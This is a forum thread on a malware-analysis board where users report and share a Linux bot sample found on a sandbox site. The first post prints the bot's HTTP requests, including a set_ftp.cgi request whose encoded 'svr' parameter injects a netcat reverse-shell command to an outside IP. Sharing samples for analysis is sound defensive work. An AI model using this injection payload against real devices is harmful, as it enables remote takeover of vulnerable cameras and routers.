Linux Unclassified Bot

Forum for analysis and discussion about malware.
Post Reply
K_Mikhail
Posts: 41
Joined: Tue Apr 13, 2010 4:13 pm

Linux Unclassified Bot

Post by K_Mikhail » Sat Jul 15, 2017 7:42 pm

Hello!

Found on: https://detux.org/report.php?sha256=8c5 ... decdb4751a

Code: Select all

GET /set_ftp.cgi?loginuse=
&loginpas=
&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+11.11.11.111+1234+-e+%2Fbin%2Fsh%29 HTTP/1.0
GET /ftptest.cgi?loginuse=
GET login.cgi HTTP/1.0
login
abcdefghijklmnop012345
[0/56]: https://www.virustotal.com/file/8c56e29 ... /analysis/

User avatar
maddog4012
Posts: 59
Joined: Mon Aug 04, 2014 6:53 pm

Re: Linux Unclassified Bot

Post by maddog4012 » Mon Jul 24, 2017 12:55 pm

Sample attached
You do not have the required permissions to view the files attached to this post.

Post Reply